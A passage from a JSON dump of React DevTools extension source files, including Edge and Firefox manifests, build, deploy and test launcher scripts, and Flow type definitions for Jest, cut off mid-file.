    "path": "packages/react-devtools-extensions/edge/deploy.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst deploy = require('../deploy');\n\nconst main = async () => await deploy('edge');\n\nmain();\n"
  },
  {
    "path": "packages/react-devtools-extensions/edge/manifest.json",
    "content": "{\n  \"manifest_version\": 3,\n  \"name\": \"React Developer Tools\",\n  \"description\": \"Adds React debugging tools to the Microsoft Edge Developer Tools.\",\n  \"version\": \"7.0.1\",\n  \"version_name\": \"7.0.1\",\n  \"minimum_chrome_version\": \"114\",\n  \"icons\": {\n    \"16\": \"icons/16-production.png\",\n    \"32\": \"icons/32-production.png\",\n    \"48\": \"icons/48-production.png\",\n    \"128\": \"icons/128-production.png\"\n  },\n  \"action\": {\n    \"default_icon\": {\n      \"16\": \"icons/16-disabled.png\",\n      \"32\": \"icons/32-disabled.png\",\n      \"48\": \"icons/48-disabled.png\",\n      \"128\": \"icons/128-disabled.png\"\n    },\n    \"default_popup\": \"popups/disabled.html\"\n  },\n  \"devtools_page\": \"main.html\",\n  \"content_security_policy\": {\n    \"extension_pages\": \"script-src 'self'; object-src 'self'\"\n  },\n  \"web_accessible_resources\": [\n    {\n      \"resources\": [\n        \"main.html\",\n        \"panel.html\",\n        \"build/*.js\"\n      ],\n      \"matches\": [\n        \"<all_urls>\"\n      ],\n      \"extension_ids\": []\n    }\n  ],\n  \"background\": {\n    \"service_worker\": \"build/background.js\"\n  },\n  \"permissions\": [\n    \"scripting\",\n    \"storage\",\n    \"tabs\"\n  ],\n  \"optional_permissions\": [\n    \"clipboardWrite\"\n  ],\n  \"host_permissions\": [\n    \"<all_urls>\"\n  ],\n  \"content_scripts\": [\n    {\n      \"matches\": [\n        \"<all_urls>\"\n      ],\n      \"js\": [\n        \"build/prepareInjection.js\"\n      ],\n      \"run_at\": \"document_start\"\n    }\n  ]\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/edge/now.json",
    "content": "{\n  \"name\": \"react-devtools-experimental-edge\",\n  \"alias\": [\"react-devtools-experimental-edge\"],\n  \"files\": [\"index.html\", \"ReactDevTools.zip\"]\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/edge/test.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst open = require('open');\nconst os = require('os');\nconst osName = require('os-name');\nconst {resolve} = require('path');\nconst {argv} = require('yargs');\n\nconst EXTENSION_PATH = resolve('./edge/build/unpacked');\nconst START_URL = argv.url || 'https://react.dev/';\n\nconst extargs = `--load-extension=${EXTENSION_PATH}`;\n\nconst osname = osName(os.platform());\nlet appname;\n\nif (osname && osname.toLocaleLowerCase().startsWith('windows')) {\n  appname = 'msedge';\n} else if (osname && osname.toLocaleLowerCase().startsWith('mac')) {\n  appname = 'Microsoft Edge';\n} else if (osname && osname.toLocaleLowerCase().startsWith('linux')) {\n  //Coming soon\n}\n\nif (appname) {\n  (async () => {\n    await open(START_URL, {app: [appname, extargs]});\n  })();\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/firefox/README.md",
    "content": "# The Firefox extension\n\nThe source code for this extension has moved to `shells/webextension`.\n\nModify the source code there and then rebuild this extension by running `node build` from this directory or `yarn run build:firefox` from the root directory.\n\n## Testing in Firefox\n\n 1. Build the extension: `node build`\n 1. Follow the on-screen instructions.\n\nYou can test upcoming releases of Firefox by downloading the Beta or Nightly build from the [Firefox releases](https://www.mozilla.org/en-US/firefox/channel/desktop/) page and then following the on-screen instructions after building.\n"
  },
  {
    "path": "packages/react-devtools-extensions/firefox/build.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chalk = require('chalk');\nconst build = require('../build');\n\nconst main = async () => {\n  await build('firefox');\n\n  console.log(chalk.green('\\nThe Firefox extension has been built!'));\n  console.log(chalk.green('You can test this build by running:'));\n  console.log(chalk.gray('\\n# From the react-devtools root directory:'));\n  console.log('yarn run test:firefox');\n  console.log(\n    chalk.gray('\\n# You can also test against upcoming Firefox releases.')\n  );\n  console.log(\n    chalk.gray(\n      '# First download a release from https://www.mozilla.org/en-US/firefox/channel/desktop/'\n    )\n  );\n  console.log(\n    chalk.gray(\n      '# And then tell web-ext which release to use (eg firefoxdeveloperedition, nightly, beta):'\n    )\n  );\n  console.log('WEB_EXT_FIREFOX=nightly yarn run test:firefox');\n  console.log(chalk.gray('\\n# You can test against older versions too:'));\n  console.log(\n    'WEB_EXT_FIREFOX=/Applications/Firefox Developer Edition.app/Contents/MacOS/firefox-bin yarn run test:firefox'\n  );\n};\n\nmain();\n\nmodule.exports = {main};\n"
  },
  {
    "path": "packages/react-devtools-extensions/firefox/deploy.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst deploy = require('../deploy');\n\nconst main = async () => await deploy('firefox');\n\nmain();\n"
  },
  {
    "path": "packages/react-devtools-extensions/firefox/manifest.json",
    "content": "{\n  \"manifest_version\": 3,\n  \"name\": \"React Developer Tools\",\n  \"description\": \"Adds React debugging tools to the Firefox Developer Tools.\",\n  \"version\": \"7.0.1\",\n  \"browser_specific_settings\": {\n    \"gecko\": {\n      \"id\": \"@react-devtools\",\n      \"strict_min_version\": \"128.0\"\n    }\n  },\n  \"icons\": {\n    \"16\": \"icons/16-production.png\",\n    \"32\": \"icons/32-production.png\",\n    \"48\": \"icons/48-production.png\",\n    \"128\": \"icons/128-production.png\"\n  },\n  \"action\": {\n    \"default_icon\": {\n      \"16\": \"icons/16-disabled.png\",\n      \"32\": \"icons/32-disabled.png\",\n      \"48\": \"icons/48-disabled.png\",\n      \"128\": \"icons/128-disabled.png\"\n    },\n    \"default_popup\": \"popups/disabled.html\"\n  },\n  \"devtools_page\": \"main.html\",\n  \"content_security_policy\": {\n    \"extension_pages\": \"script-src 'self'; object-src 'self'\"\n  },\n  \"web_accessible_resources\": [\n    {\n      \"resources\": [\n        \"main.html\",\n        \"panel.html\",\n        \"build/*.js\",\n        \"build/*.js.map\"\n      ],\n      \"matches\": [\n        \"<all_urls>\"\n      ],\n      \"extension_ids\": []\n    }\n  ],\n  \"background\": {\n    \"scripts\": [\n      \"build/background.js\"\n    ]\n  },\n  \"permissions\": [\n    \"scripting\",\n    \"storage\",\n    \"tabs\",\n    \"clipboardWrite\"\n  ],\n  \"host_permissions\": [\n    \"<all_urls>\"\n  ],\n  \"content_scripts\": [\n    {\n      \"matches\": [\n        \"<all_urls>\"\n      ],\n      \"js\": [\n        \"build/prepareInjection.js\"\n      ],\n      \"run_at\": \"document_start\"\n    }\n  ]\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/firefox/now.json",
    "content": "{\n  \"name\": \"react-devtools-experimental-firefox\",\n  \"alias\": [\"react-devtools-experimental-firefox\"],\n  \"files\": [\"index.html\", \"ReactDevTools.zip\"]\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/firefox/test.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec} = require('child-process-promise');\nconst {Finder} = require('firefox-profile');\nconst {resolve} = require('path');\nconst {argv} = require('yargs');\n\nconst EXTENSION_PATH = resolve('./firefox/build/unpacked');\nconst START_URL = argv.url || 'https://react.dev/';\n\nconst firefoxVersion = process.env.WEB_EXT_FIREFOX;\n\nconst getFirefoxProfileName = () => {\n  // Keys are pulled from https://extensionworkshop.com/documentation/develop/web-ext-command-reference/#--firefox\n  // and profile names from https://searchfox.org/mozilla-central/source/toolkit/profile/xpcshell/head.js#96\n  switch (firefoxVersion) {\n    case 'firefox':\n      return 'default-release';\n    case 'beta':\n      return 'default-beta';\n    case 'nightly':\n      return 'default-nightly';\n    case 'firefoxdeveloperedition':\n      return 'dev-edition-default';\n    default:\n      // Fall back to using the default Firefox profile for testing purposes.\n      // This prevents users from having to re-login-to sites before testing.\n      return 'default';\n  }\n};\n\nconst main = async () => {\n  const finder = new Finder();\n\n  const findPathPromise = new Promise((resolvePromise, rejectPromise) => {\n    finder.getPath(getFirefoxProfileName(), (error, profile) => {\n      if (error) {\n        rejectPromise(error);\n      } else {\n        resolvePromise(profile);\n      }\n    });\n  });\n\n  const options = [\n    `--source-dir=${EXTENSION_PATH}`,\n    `--start-url=${START_URL}`,\n    '--browser-console',\n  ];\n\n  try {\n    const path = await findPathPromise;\n    const trimmedPath = path.replace(' ', '\\\\ ');\n    options.push(`--firefox-profile=${trimmedPath}`);\n  } catch (err) {\n    console.warn('Could not find default profile, using temporary profile.');\n  }\n\n  try {\n    await exec(`web-ext run ${options.join(' ')}`);\n  } catch (err) {\n    console.error('`web-ext run` failed', err.stdout, err.stderr);\n  }\n};\n\nmain();\n"
  },
  {
    "path": "packages/react-devtools-extensions/flow-typed/jest.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\n/* eslint-disable no-unused-vars */\n\ntype JestMockFn<TArguments: $ReadOnlyArray<any>, TReturn> = {\n  (...args: TArguments): TReturn,\n  /**\n   * An object for introspecting mock calls\n   */\n  mock: {\n    /**\n     * An array that represents all calls that have been made into this mock\n     * function. Each call is represented by an array of arguments that were\n     * passed during the call.\n     */\n    calls: Array<TArguments>,\n    /**\n     * An array that contains all the object instances that have been\n     * instantiated from this mock function.\n     */\n    instances: Array<TReturn>,\n    /**\n     * An array that contains all the object results that have been\n     * returned by this mock function call\n     */\n    results: Array<{isThrow: boolean, value: TReturn}>,\n  },\n  /**\n   * Resets all information stored in the mockFn.mock.calls and\n   * mockFn.mock.instances arrays. Often this is useful when you want to clean\n   * up a mock's usage data between two assertions.\n   */\n  mockClear(): void,\n  /**\n   * Resets all information stored in the mock. This is useful when you want to\n   * completely restore a mock back to its initial state.\n   */\n  mockReset(): void,\n  /**\n   * Removes the mock and restores the initial implementation. This is useful\n   * when you want to mock functions in certain test cases and restore the\n   * original implementation in others. Beware that mockFn.mockRestore only\n   * works when mock was created with jest.spyOn. Thus you have to take care of\n   * restoration yourself when manually assigning jest.fn().\n   */\n  mockRestore(): void,\n  /**\n   * Accepts a function that should be used as the implementation of the mock.\n   * The mock itself will still record all calls that go into and instances\n   * that come from itself -- the only difference is that the implementation\n   * will also be executed when the mock is called.\n   */\n  mockImplementation(\n    fn: (...args: TArguments) => TReturn\n  ): JestMockFn<TArguments, TReturn>,\n  /**\n   * Accepts a function that will be used as an implementation of the mock for\n   * one call to the mocked function. Can be chained so that multiple function\n   * calls produce different results.\n   */\n  mockImplementationOnce(\n    fn: (...args: TArguments) => TReturn\n  ): JestMockFn<TArguments, TReturn>,\n  /**\n   * Accepts a string to use in test result output in place of \"jest.fn()\" to\n   * indicate which mock function is being referenced.\n   */\n  mockName(name: string): JestMockFn<TArguments, TReturn>,\n  /**\n   * Just a simple sugar function for returning `this`\n   */\n  mockReturnThis(): void,\n  /**\n   * Accepts a value that will be returned whenever the mock function is called.\n   */\n  mockReturnValue(value: TReturn): JestMockFn<TArguments, TReturn>,\n  /**\n   * Sugar for only returning a value once inside your mock\n   */\n  mockReturnValueOnce(value: TReturn): JestMockFn<TArguments, TReturn>,\n  /**\n   * Sugar for jest.fn().mockImplementation(() => Promise.resolve(value))\n   */\n  mockResolvedValue(value: TReturn): JestMockFn<TArguments, Promise<TReturn>>,\n  /**\n   * Sugar for jest.fn().mockImplementationOnce(() => Promise.resolve(value))\n   */\n  mockResolvedValueOnce(\n    value: TReturn\n  ): JestMockFn<TArguments, Promise<TReturn>>,\n  /**\n   * Sugar for jest.fn().mockImplementation(() => Promise.reject(value))\n   */\n  mockRejectedValue(value: TReturn): JestMockFn<TArguments, Promise<any>>,\n  /**\n   * Sugar for jest.fn().mockImplementationOnce(() => Promise.reject(value))\n   */\n  mockRejectedValueOnce(value: TReturn): JestMockFn<TArguments, Promise<any>>,\n};\n\ntype JestAsymmetricEqualityType = {\n  /**\n   * A custom Jasmine equality tester\n   */\n  asymmetricMatch(value: mixed): boolean,\n};\n\ntype JestCallsType = {\n  allArgs(): mixed,\n  all(): mixed,\n  any(): boolean,\n  count(): number,\n  first(): mixed,\n  mostRecent(): mixed,\n  reset(): void,\n};\n\ntype JestClockType = {\n  install(): void,\n  mockDate(date: Date): void,\n  tick(milliseconds?: number): void,\n  uninstall(): void,\n};\n\ntype JestMatcherResult = {\n  message?: string | (() => string),\n  pass: boolean,\n};\n\ntype JestMatcher = (\n  actual: any,\n  expected: any\n) => JestMatcherResult | Promise<JestMatcherResult>;\n\ntype JestPromiseType = {\n  /**\n   * Use rejects to unwrap the reason of a rejected promise so any other\n   * matcher can be chained. If the promise is fulfilled the assertion fails.\n   */\n  rejects: JestExpectType,\n  /**\n   * Use resolves to unwrap the value of a fulfilled promise so any other\n   * matcher can be chained. If the promise is rejected the assertion fails.\n   */\n  resolves: JestExpectType,\n};\n\n/**\n * Jest allows functions and classes to be used as test names in test() and\n * describe()\n */\ntype JestTestName = string | Function;\n\n/**\n *  Plugin: jest-styled-components\n */\n\ntype JestStyledComponentsMatcherValue =\n  | string\n  | JestAsymmetricEqualityType\n  | RegExp\n  | typeof undefined;\n\ntype JestStyledComponentsMatcherOptions = {\n  media?: string,\n  modifier?: string,\n  supports?: string,\n};\n\ntype JestStyledComponentsMatchersType = {\n  toHaveStyleRule(\n    property: string,\n    value: JestStyledComponentsMatcherValue,\n    options?: JestStyledComponentsMatcherOptions\n  ): void,\n};\n\n/**\n *  Plugin: jest-enzyme\n */\ntype EnzymeMatchersType = {\n  // 5.x\n  toBeEmpty(): void,\n  toBePresent(): void,\n  // 6.x\n  toBeChecked(): void,\n  toBeDisabled(): void,\n  toBeEmptyRender(): void,\n  toContainMatchingElement(selector: string): void,\n  toContainMatchingElements(n: number, selector: string): void,\n  toContainExactlyOneMatchingElement(selector: string): void,\n  toContainReact(element: React$Element<any>): void,\n  toExist(): void,\n  toHaveClassName(className: string): void,\n  toHaveHTML(html: string): void,\n  toHaveProp: ((propKey: string, propValue?: any) => void) &\n    ((props: {}) => void),\n  toHaveRef(refName: string): void,\n  toHaveState: ((stateKey: string, stateValue?: any) => void) &\n    ((state: {}) => void),\n  toHaveStyle: ((styleKey: string, styleValue?: any) => void) &\n    ((style: {}) => void),\n  toHaveTagName(tagName: string): void,\n  toHaveText(text: string): void,\n  toHaveValue(value: any): void,\n  toIncludeText(text: string): void,\n  toMatchElement(\n    element: React$Element<any>,\n    options?: {ignoreProps?: boolean, verbose?: boolean}\n  ): void,\n  toMatchSelector(selector: string): void,\n  // 7.x\n  toHaveDisplayName(name: string): void,\n};\n\n// DOM testing library extensions https://github.com/kentcdodds/dom-testing-library#custom-jest-matchers\ntype DomTestingLibraryType = {\n  toBeDisabled(): void,\n  toBeEmpty(): void,\n  toBeInTheDocument(): void,\n  toBeVisible(): void,\n  toContainElement(element: HTMLElement | null): void,\n  toContainHTML(htmlText: string): void,\n  toHaveAttribute(name: string, expectedValue?: string): void,\n  toHaveClass(...classNames: string[]): void,\n  toHaveFocus(): void,\n  toHaveFormValues(expectedValues: {[name: string]: any}): void,\n  toHaveStyle(css: string): void,\n  toHaveTextContent(\n    content: string | RegExp,\n    options?: {normalizeWhitespace: boolean}\n  ): void,\n  toBeInTheDOM(): void,\n};\n\n// Jest JQuery Matchers: https://github.com/unindented/custom-jquery-matchers\ntype JestJQueryMatchersType = {\n  toExist(): void,\n  toHaveLength(len: number): void,\n  toHaveId(id: string): void,\n  toHaveClass(className: string): void,\n  toHaveTag(tag: string): void,\n  toHaveAttr(key: string, val?: any): void,\n  toHaveProp(key: string, val?: any): void,\n  toHaveText(text: string | RegExp): void,\n  toHaveData(key: string, val?: any): void,\n  toHaveValue(val: any): void,\n  toHaveCss(css: {[key: string]: any}): void,\n  toBeChecked(): void,\n  toBeDisabled(): void,\n  toBeEmpty(): void,\n  toBeHidden(): void,\n  toBeSelected(): void,\n  toBeVisible(): void,\n  toBeFocused(): void,\n  toBeInDom(): void,\n  toBeMatchedBy(sel: string): void,\n  toHaveDescendant(sel: string): void,\n  toHaveDescendantWithText(sel: string, text: string | RegExp): void,\n};\n\n// Jest Extended Matchers: https://github.com/jest-community/jest-extended\ntype JestExtendedMatchersType = {\n  /**\n   * Note: Currently unimplemented\n   * Passing assertion\n   *\n   * @param {String} message\n   */\n  //  pass(message: string): void;\n\n  /**\n   * Note: Currently unimplemented\n   * Failing assertion\n   *\n   * @param {String} message\n   */\n  //  fail(message: string): void;\n\n  /**\n   * Use .toBeEmpty when checking if a String '', Array [] or Object {} is empty.\n   */\n  toBeEmpty(): void,\n\n  /**\n   * Use .toBeOneOf when checking if a value is a member of a given Array.\n   * @param {Array.<*>} members\n   */\n  toBeOneOf(members: any[]): void,\n\n  /**\n   * Use `.toBeNil` when checking a value is `null` or `undefined`.\n   */\n  toBeNil(): void,\n\n  /**\n   * Use `.toSatisfy` when you want to use a custom matcher by supplying a predicate function that returns a `Boolean`.\n   * @param {Function} predicate\n   */\n  toSatisfy(predicate: (n: any) => boolean): void,\n\n  /**\n   * Use `.toBeArray` when checking if a value is an `Array`.\n   */\n  toBeArray(): void,\n\n  /**\n   * Use `.toBeArrayOfSize` when checking if a value is an `Array` of size x.\n   * @param {Number} x\n   */\n  toBeArrayOfSize(x: number): void,\n\n  /**\n   * Use `.toIncludeAllMembers` when checking if an `Array` contains all of the same members of a given set.\n   * @param {Array.<*>} members\n   */\n  toIncludeAllMembers(members: any[]): void,\n\n  /**\n   * Use `.toIncludeAnyMembers` when checking if an `Array` contains any of the members of a given set.\n   * @param {Array.<*>} members\n   */\n  toIncludeAnyMembers(members: any[]): void,\n\n  /**\n   * Use `.toSatisfyAll` when you want to use a custom matcher by supplying a predicate function that returns a `Boolean` for all values in an array.\n   * @param {Function} predicate\n   */\n  toSatisfyAll(predicate: (n: any) => boolean): void,\n\n  /**\n   * Use `.toBeBoolean` when checking if a value is a `Boolean`.\n   */\n  toBeBoolean(): void,\n\n  /**\n   * Use `.toBeTrue` when checking a value is equal (===) to `true`.\n   */\n  toBeTrue(): void,\n\n  /**\n   * Use `.toBeFalse` when checking a value is equal (===) to `false`.\n   */\n  toBeFalse(): void,\n\n  /**\n   * Use .toBeDate when checking if a value is a Date.\n   */\n  toBeDate(): void,\n\n  /**\n   * Use `.toBeFunction` when checking if a value is a `Function`.\n   */\n  toBeFunction(): void,\n\n  /**\n   * Use `.toHaveBeenCalledBefore` when checking if a `Mock` was called before another `Mock`.\n   *\n   * Note: Required Jest version >22\n   * Note: Your mock functions will have to be asynchronous to cause the timestamps inside of Jest to occur in a differentJS event loop, otherwise the mock timestamps will all be the same\n   *\n   * @param {Mock} mock\n   */\n  toHaveBeenCalledBefore(mock: JestMockFn<any, any>): void,\n\n  /**\n   * Use `.toBeNumber` when checking if a value is a `Number`.\n   */\n  toBeNumber(): void,\n\n  /**\n   * Use `.toBeNaN` when checking a value is `NaN`.\n   */\n  toBeNaN(): void,\n\n  /**\n   * Use `.toBeFinite` when checking if a value is a `Number`, not `NaN` or `Infinity`.\n   */\n  toBeFinite(): void,\n\n  /**\n   * Use `.toBePositive` when checking if a value is a positive `Number`.\n   */\n  toBePositive(): void,\n\n  /**\n   * Use `.toBeNegative` when checking if a value is a negative `Number`.\n   */\n  toBeNegative(): void,\n\n  /**\n   * Use `.toBeEven` when checking if a value is an even `Number`.\n   */\n  toBeEven(): void,\n\n  /**\n   * Use `.toBeOdd` when checking if a value is an odd `Number`.\n   */\n  toBeOdd(): void,\n\n  /**\n   * Use `.toBeWithin` when checking if a number is in between the given bounds of: start (inclusive) and end (exclusive).\n   *\n   * @param {Number} start\n   * @param {Number} end\n   */\n  toBeWithin(start: number, end: number): void,\n\n  /**\n   * Use `.toBeObject` when checking if a value is an `Object`.\n   */\n  toBeObject(): void,\n\n  /**\n   * Use `.toContainKey` when checking if an object contains the provided key.\n   *\n   * @param {String} key\n   */\n  toContainKey(key: string): void,\n\n  /**\n   * Use `.toContainKeys` when checking if an object has all of the provided keys.\n   *\n   * @param {Array.<String>} keys\n   */\n  toContainKeys(keys: string[]): void,\n\n  /**\n   * Use `.toContainAllKeys` when checking if an object only contains all of the provided keys.\n   *\n   * @param {Array.<String>} keys\n   */\n  toContainAllKeys(keys: string[]): void,\n\n  /**\n   * Use `.toContainAnyKeys` when checking if an object contains at least one of the provided keys.\n   *\n   * @param {Array.<String>} keys\n   */\n  toContainAnyKeys(keys: string[]): void,\n\n  /**\n   * Use `.toContainValue` when checking if an object contains the provided value.\n   *\n   * @param {*} value\n   */\n  toContainValue(value: any): void,\n\n  /**\n   * Use `.toContainValues` when checking if an object contains all of the provided values.\n   *\n   * @param {Array.<*>} values\n   */\n  toContainValues(values: any[]): void,\n\n  /**\n   * Use `.toContainAllValues` when checking if an object only contains all of the provided values.\n   *\n   * @param {Array.<*>} values\n   */\n  toContainAllValues(values: any[]): void,\n\n  /**\n   * Use `.toContainAnyValues` when checking if an object contains at least one of the provided values.\n   *\n   * @param {Array.<*>} values\n   */\n  toContainAnyValues(values: any[]): void,\n\n  /**\n   * Use `.toContainEntry` when checking if an object contains the provided entry.\n   *\n   * @param {Array.<String, String>} entry\n   */\n  toContainEntry(entry: [string, string]): void,\n\n  /**\n   * Use `.toContainEntries` when checking if an object contains all of the provided entries.\n   *\n   * @param {Array.<Array.<String, String>>} entries\n   */\n  toContainEntries(entries: [string, string][]): void,\n\n  /**\n   * Use `.toContainAllEntries` when checking if an object only contains all of the provided entries.\n   *\n   * @param {Array.<Array.<String, String>>} entries\n   */\n  toContainAllEntries(entries: [string, string][]): void,\n\n  /**\n   * Use `.toContainAnyEntries` when checking if an object contains at least one of the provided entries.\n   *\n   * @param {Array.<Array.<String, String>>} entries\n   */\n  toContainAnyEntries(entries: [string, string][]): void,\n\n  /**\n   * Use `.toBeExtensible` when checking if an object is extensible.\n   */\n  toBeExtensible(): void,\n\n  /**\n   * Use `.toBeFrozen` when checking if an object is frozen.\n   */\n  toBeFrozen(): void,\n\n  /**\n   * Use `.toBeSealed` when checking if an object is sealed.\n   */\n  toBeSealed(): void,\n\n  /**\n   * Use `.toBeString` when checking if a value is a `String`.\n   */\n  toBeString(): void,\n\n  /**\n   * Use `.toEqualCaseInsensitive` when checking if a string is equal (===) to another ignoring the casing of both strings.\n   *\n   * @param {String} string\n   */\n  toEqualCaseInsensitive(string: string): void,\n\n  /**\n   * Use `.toStartWith` when checking if a `String` starts with a given `String` prefix.\n   *\n   * @param {String} prefix\n   */\n  toStartWith(prefix: string): void,\n\n  /**\n   * Use `.toEndWith` when checking if a `String` ends with a given `String` suffix.\n   *\n   * @param {String} suffix\n   */\n  toEndWith(suffix: string): void,\n\n  /**\n   * Use `.toInclude` when checking if a `String` includes the given `String` substring.\n   *\n   * @param {String} substring\n   */\n  toInclude(substring: string): void,\n\n  /**\n   * Use `.toIncludeRepeated` when checking if a `String` includes the given `String` substring the correct number of times.\n   *\n   * @param {String} substring\n   * @param {Number} times\n   */\n  toIncludeRepeated(substring: string, times: number): void,\n\n  /**\n   * Use `.toIncludeMultiple` when checking if a `String` includes all of the given substrings.\n   *\n   * @param {Array.<String>} substring\n   */\n  toIncludeMultiple(substring: string[]): void,\n};\n\ninterface JestExpectType {\n  not: JestExpectType &\n    EnzymeMatchersType &\n    DomTestingLibraryType &\n    JestJQueryMatchersType &\n    JestStyledComponentsMatchersType &\n    JestExtendedMatchersType;\n  /**\n   * If you have a mock function, you can use .lastCalledWith to test what\n   * arguments it was last called with.\n   */\n  lastCalledWith(...args: Array<any>): void;\n  /**\n   * toBe just checks that a value is what you expect. It uses === to check\n   * strict equality.\n   */\n  toBe(value: any): void;\n  /**\n   * Use .toBeCalledWith to ensure that a mock function was called with\n   * specific arguments.\n   */\n  toBeCalledWith(...args: Array<any>): void;\n  /**\n   * Using exact equality with floating point numbers is a bad idea. Rounding\n   * means that intuitive things fail.\n   */\n  toBeCloseTo(num: number, delta: any): void;\n  /**\n   * Use .toBeDefined to check that a variable is not undefined.\n   */\n  toBeDefined(): void;\n  /**\n   * Use .toBeFalsy when you don't care what a value is, you just want to\n   * ensure a value is false in a boolean context.\n   */\n  toBeFalsy(): void;\n  /**\n   * To compare floating point numbers, you can use toBeGreaterThan.\n   */\n  toBeGreaterThan(number: number): void;\n  /**\n   * To compare floating point numbers, you can use toBeGreaterThanOrEqual.\n   */\n  toBeGreaterThanOrEqual(number: number): void;\n  /**\n   * To compare floating point numbers, you can use toBeLessThan.\n   */\n  toBeLessThan(number: number): void;\n  /**\n   * To compare floating point numbers, you can use toBeLessThanOrEqual.\n   */\n  toBeLessThanOrEqual(number: number): void;\n  /**\n   * Use .toBeInstanceOf(Class) to check that an object is an instance of a\n   * class.\n   */\n  toBeInstanceOf(cls: Class<any>): void;\n  /**\n   * .toBeNull() is the same as .toBe(null) but the error messages are a bit\n   * nicer.\n   */\n  toBeNull(): void;\n  /**\n   * Use .toBeTruthy when you don't care what a value is, you just want to\n   * ensure a value is true in a boolean context.\n   */\n  toBeTruthy(): void;\n  /**\n   * Use .toBeUndefined to check that a variable is undefined.\n   */\n  toBeUndefined(): void;\n  /**\n   * Use .toContain when you want to check that an item is in a list. For\n   * testing the items in the list, this uses ===, a strict equality check.\n   */\n  toContain(item: any): void;\n  /**\n   * Use .toContainEqual when you want to check that an item is in a list. For\n   * testing the items in the list, this matcher recursively checks the\n   * equality of all fields, rather than checking for object identity.\n   */\n  toContainEqual(item: any): void;\n  /**\n   * Use .toEqual when you want to check that two objects have the same value.\n   * This matcher recursively checks the equality of all fields, rather than\n   * checking for object identity.\n   */\n  toEqual(value: any): void;\n  /**\n   * Use .toHaveBeenCalled to ensure that a mock function got called.\n   */\n  toHaveBeenCalled(): void;\n  toBeCalled(): void;\n  /**\n   * Use .toHaveBeenCalledTimes to ensure that a mock function got called exact\n   * number of times.\n   */\n  toHaveBeenCalledTimes(number: number): void;\n  toBeCalledTimes(number: number): void;\n  /**\n   *\n   */\n  toHaveBeenNthCalledWith(nthCall: number, ...args: Array<any>): void;\n  nthCalledWith(nthCall: number, ...args: Array<any>): void;\n  /**\n   *\n   */\n  toHaveReturned(): void;\n  toReturn(): void;\n  /**\n   *\n   */\n  toHaveReturnedTimes(number: number): void;\n  toReturnTimes(number: number): void;\n  /**\n   *\n   */\n  toHaveReturnedWith(value: any): void;\n  toReturnWith(value: any): void;\n  /**\n   *\n   */\n  toHaveLastReturnedWith(value: any): void;\n  lastReturnedWith(value: any): void;\n  /**\n   *\n   */\n  toHaveNthReturnedWith(nthCall: number, value: any): void;\n  nthReturnedWith(nthCall: number, value: any): void;\n  /**\n   * Use .toHaveBeenCalledWith to ensure that a mock function was called with\n   * specific arguments.\n   */\n  toHaveBeenCalledWith(...args: Array<any>): void;\n  /**\n   * Use .toHaveBeenLastCalledWith to ensure that a mock function was last called\n   * with specific arguments.\n   */\n  toHaveBeenLastCalledWith(...args: Array<any>): void;\n  /**\n   * Check that an object has a .length property and it is set to a certain\n   * numeric value.\n   */\n  toHaveLength(number: number): void;\n  /**\n   *\n   */\n  toHaveProperty(propPath: string, value?: any): void;\n  /**\n   * Use .toMatch to check that a string matches a regular expression or string.\n   */\n  toMatch(regexpOrString: RegExp | string): void;\n  /**\n   * Use .toMatchObject to check that a javascript object matches a subset of the properties of an object.\n   */\n  toMatchObject(object: Object | Array<Object>): void;\n  /**\n   * Use .toStrictEqual to check that a javascript object matches a subset of the properties of an object.\n   */\n  toStrictEqual(value: any): void;\n  /**\n   * This ensures that an Object matches the most recent snapshot.\n   */\n  toMatchSnapshot(propertyMatchers?: any, name?: string): void;\n  /**\n   * This ensures that an Object matches the most recent snapshot.\n   */\n  toMatchSnapshot(name: string): void;\n\n  toMatchInlineSnapshot(snapshot?: string): void;\n  toMatchInlineSnapshot(propertyMatchers?: any, snapshot?: string): void;\n  /**\n   * Use .toThrow to test that a function throws when it is called.\n   * If you want to test that a specific error gets thrown, you can provide an\n   * argument to toThrow. The argument can be a string for the error message,\n   * a class for the error, or a regex that should match the error.\n   *\n   * Alias: .toThrowError\n   */\n  toThrow(message?: string | Error | Class<Error> | RegExp): void;\n  toThrowError(message?: string | Error | Class<Error> | RegExp): void;\n  /**\n   * Use .toThrowErrorMatchingSnapshot to test that a function throws a error\n   * matching the most recent snapshot when it is called.\n   */\n  toThrowErrorMatchingSnapshot(): void;\n  toThrowErrorMatchingInlineSnapshot(snapshot?: string): void;\n}\n\ntype JestObjectType = {\n  /**\n   *  Disables automatic mocking in the module loader.\n   *\n   *  After this method is called, all `require()`s will return the real\n   *  versions of each module (rather than a mocked version).\n   */\n  disableAutomock(): JestObjectType,\n  /**\n   * An un-hoisted version of disableAutomock\n   */\n  autoMockOff(): JestObjectType,\n  /**\n   * Enables automatic mocking in the module loader.\n   */\n  enableAutomock(): JestObjectType,\n  /**\n   * An un-hoisted version of enableAutomock\n   */\n  autoMockOn(): JestObjectType,\n  /**\n   * Clears the mock.calls and mock.instances properties of all mocks.\n   * Equivalent to calling .mockClear() on every mocked function.\n   */\n  clearAllMocks(): JestObjectType,\n  /**\n   * Resets the state of all mocks. Equivalent to calling .mockReset() on every\n   * mocked function.\n   */\n  resetAllMocks(): JestObjectType,\n  /**\n   * Restores all mocks back to their original value.\n   */\n  restoreAllMocks(): JestObjectType,\n  /**\n   * Removes any pending timers from the timer system.\n   */\n  clearAllTimers(): void,\n  /**\n   * Returns the number of fake timers still left to run.\n   */\n  getTimerCount(): number,\n  /**\n   * The same as `mock` but not moved to the top of the expectation by\n   * babel-jest.\n   */\n  doMock(moduleName: string, moduleFactory?: any): JestObjectType,\n  /**\n   * The same as `unmock` but not moved to the top of the expectation by\n   * babel-jest.\n   */\n  dontMock(moduleName: string): JestObjectType,\n  /**\n   * Returns a new, unused mock function. Optionally takes a mock\n   * implementation.\n   */\n  fn<TArguments: 